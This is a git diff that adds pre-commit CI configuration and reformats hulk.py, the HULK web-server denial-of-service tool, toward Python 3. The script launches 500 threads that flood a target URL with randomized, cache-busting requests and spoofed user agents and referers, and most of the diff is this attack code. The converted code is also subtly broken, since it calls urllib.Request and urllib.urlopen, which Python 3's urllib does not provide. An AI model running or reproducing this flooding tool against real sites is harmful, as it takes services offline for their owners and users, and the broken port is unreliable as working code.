diff --git a/.github/workflows/pre-commit.yml b/.github/workflows/pre-commit.yml new file mode 100644 index 0000000..134ac0f --- /dev/null +++ b/.github/workflows/pre-commit.yml @@ -0,0 +1,25 @@ +name: pre-commit + +on: + push: + branches: + - master + pull_request: + +jobs: + pre-commit: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + - uses: actions/cache@v2 + with: + path: | + ~/.cache/pre-commit + ~/.cache/pip + key: ${{ runner.os }}-pre-commit-${{ hashFiles('.pre-commit-config.yaml') }} + - uses: actions/setup-python@v2 + - name: Install pre-commit + run: | + python -m pip install --upgrade pip + python -m pip install --upgrade pre-commit + - run: pre-commit run --verbose --all-files --show-diff-on-failure \ No newline at end of file diff --git a/.gitignore b/.gitignore index de20dcd..a9ca22a 100644 --- a/.gitignore +++ b/.gitignore @@ -23,3 +23,5 @@ _testmain.go # IDE Folder .idea/ + +.vscode/ \ No newline at end of file diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml new file mode 100644 index 0000000..c9e2e78 --- /dev/null +++ b/.pre-commit-config.yaml @@ -0,0 +1,33 @@ +repos: + - repo: https://github.com/pre-commit/pre-commit-hooks + rev: v3.2.0 + hooks: + - id: check-yaml + - id: end-of-file-fixer + types: [python] + - id: requirements-txt-fixer + - repo: https://github.com/psf/black + rev: stable + hooks: + - id: black + - repo: https://github.com/PyCQA/isort + rev: 5.5.3 + hooks: + - id: isort + args: + - --profile=black + - repo: https://gitlab.com/pycqa/flake8 + rev: 3.8.3 + hooks: + - id: flake8 + args: + - --ignore=E203,W503, E501 + - --max-complexity=25 + - --max-line-length=88 + - repo: https://github.com/codespell-project/codespell + rev: v1.17.1 + hooks: + - id: codespell + args: + - --ignore-words-list=ans,fo,followings,hist,iff,mater,secant,som,tim + - --quiet-level=2 \ No newline at end of file diff --git a/README.md b/README.md index 0ab74ed..f48fcb5 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ HULK DoS tool ported to Go language from Python. Original Python utility by Barry Shteiman http://www.sectorix.com/2012/05/17/hulk-web-server-dos-tool/ I just ported the code as is quick and dirty. Original functions names are keeped and original logic mostly keeped too. -The main difference from Python version layed in Golang architecture for concurrency: the goroutines. hulk.py runs +The main difference from Python version laid in Golang architecture for concurrency: the goroutines. hulk.py runs a new thread for each connection in the connection pool so it uses hundreds and thousands of threads. hulk.go just uses lightweight goroutines that used only tens of threads (commonly golang runtime started one thread for CPU core + several service threads). This architecture allows golang version better consume resources and got much higher diff --git a/hulk.py b/hulk.py index 69a35b6..58f24d5 100644 --- a/hulk.py +++ b/hulk.py @@ -7,149 +7,188 @@ # # author : Barry Shteiman , version 1.0 # ---------------------------------------------------------------------------------------------- -import urllib2 -import sys -import threading import random import re +import sys +import threading +import urllib + +# global params +url = "" +host = "" +headers_useragents = [] +headers_referers = [] +request_counter = 0 +flag = 0 +safe = 0 -#global params -url='' -host='' -headers_useragents=[] -headers_referers=[] -request_counter=0 -flag=0 -safe=0 def inc_counter(): - global request_counter - request_counter+=1 + global request_counter + request_counter += 1 + def set_flag(val): - global flag - flag=val + global flag + flag = val + def set_safe(): - global safe - safe=1 - + global safe + safe = 1 + + # generates a user agent array def useragent_list(): - global headers_useragents - headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') - headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') - headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') - headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') - headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') - headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') - headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') - headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') - headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') - headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') - headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') - headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') - return(headers_useragents) + global headers_useragents + headers_useragents.append( + "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3" + ) + headers_useragents.append( + "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)" + ) + headers_useragents.append( + "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)" + ) + headers_useragents.append( + "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1" + ) + headers_useragents.append( + "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1" + ) + headers_useragents.append( + "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)" + ) + headers_useragents.append( + "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)" + ) + headers_useragents.append( + "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)" + ) + headers_useragents.append( + "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)" + ) + headers_useragents.append( + "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)" + ) + headers_useragents.append("Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)") + headers_useragents.append( + "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51" + ) + return headers_useragents + # generates a referer array def referer_list(): - global headers_referers - headers_referers.append('http://www.google.com/?q=') - headers_referers.append('http://www.usatoday.com/search/results?q=') - headers_referers.append('http://engadget.search.aol.com/search?q=') - headers_referers.append('http://' + host + '/') - return(headers_referers) - -#builds random ascii string + global headers_referers + headers_referers.append("http://www.google.com/?q=") + headers_referers.append("http://www.usatoday.com/search/results?q=") + headers_referers.append("http://engadget.search.aol.com/search?q=") + headers_referers.append("http://" + host + "/") + return headers_referers + + +# builds random ascii string def buildblock(size): - out_str = '' - for i in range(0, size): - a = random.randint(65, 90) - out_str += chr(a) - return(out_str) + out_str = "" + for i in range(0, size): + a = random.randint(65, 90) + out_str += chr(a) + return out_str + def usage(): - print '---------------------------------------------------' - print 'USAGE: python hulk.py ' - print 'you can add "safe" after url, to autoshut after dos' - print '---------------------------------------------------' + print("---------------------------------------------------") + print("USAGE: python hulk.py ") + print('you can add "safe" after url, to autoshut after dos') + print("---------------------------------------------------") - -#http request + +# http request def httpcall(url): - useragent_list() - referer_list() - code=0 - if url.count("?")>0: - param_joiner="&" - else: - param_joiner="?" - request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10))) - request.add_header('User-Agent', random.choice(headers_useragents)) - request.add_header('Cache-Control', 'no-cache') - request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7') - request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10))) - request.add_header('Keep-Alive', random.randint(110,120)) - request.add_header('Connection', 'keep-alive') - request.add_header('Host',host) - try: - urllib2.urlopen(request) - except urllib2.HTTPError, e: - #print e.code - set_flag(1) - print 'Response Code 500' - code=500 - except urllib2.URLError, e: - #print e.reason - sys.exit() - else: - inc_counter() - urllib2.urlopen(request) - return(code) - - -#http caller thread + useragent_list() + referer_list() + code = 0 + if url.count("?") > 0: + param_joiner = "&" + else: + param_joiner = "?" + request = urllib.Request( + url + + param_joiner + + buildblock(random.randint(3, 10)) + + "=" + + buildblock(random.randint(3, 10)) + ) + request.add_header("User-Agent", random.choice(headers_useragents)) + request.add_header("Cache-Control", "no-cache") + request.add_header("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7") + request.add_header( + "Referer", random.choice(headers_referers) + buildblock(random.randint(5, 10)) + ) + request.add_header("Keep-Alive", random.randint(110, 120)) + request.add_header("Connection", "keep-alive") + request.add_header("Host", host) + try: + urllib.urlopen(request) + except urllib.HTTPError: + # print e.code + set_flag(1) + print("Response Code 500") + code = 500 + except urllib.URLError: + # print e.reason + sys.exit() + else: + inc_counter() + urllib.urlopen(request) + return code + + +# http caller thread class HTTPThread(threading.Thread): - def run(self): - try: - while flag<2: - code=httpcall(url) - if (code==500) & (safe==1): - set_flag(2) - except Exception, ex: - pass + def run(self): + try: + while flag < 2: + code = httpcall(url) + if (code == 500) & (safe == 1): + set_flag(2) + except Exception: + pass + # monitors http threads and counts requests class MonitorThread(threading.Thread): - def run(self): - previous=request_counter - while flag==0: - if (previous+100request_counter): - print "%d Requests Sent" % (request_counter) - previous=request_counter - if flag==2: - print "\n-- HULK Attack Finished --" - -#execute + def run(self): + previous = request_counter + while flag == 0: + if (previous + 100 < request_counter) and (previous != request_counter): + print("%d Requests Sent" % (request_counter)) + previous = request_counter + if flag == 2: + print("\n-- HULK Attack Finished --") + + +# execute if len(sys.argv) < 2: - usage() - sys.exit() + usage() + sys.exit() else: - if sys.argv[1]=="help": - usage() - sys.exit() - else: - print "-- HULK Attack Started --" - if len(sys.argv)== 3: - if sys.argv[2]=="safe": - set_safe() - url = sys.argv[1] - if url.count("/")==2: - url = url + "/" - m = re.search('(https?\://)?([^/]*)/?.*', url) - host = m.group(2) - for i in range(500): - t = HTTPThread() - t.start() - t = MonitorThread() - t.start() + if sys.argv[1] == "help": + usage() + sys.exit() + else: + print("-- HULK Attack Started --") + if len(sys.argv) == 3: + if sys.argv[2] == "safe": + set_safe() + url = sys.argv[1] + if url.count("/") == 2: + url = url + "/" + m = re.search(r"(https?\://)?([^/]*)/?.*", url) + host = m.group(2) + for i in range(500): + t = HTTPThread() + t.start() + t = MonitorThread() + t.start()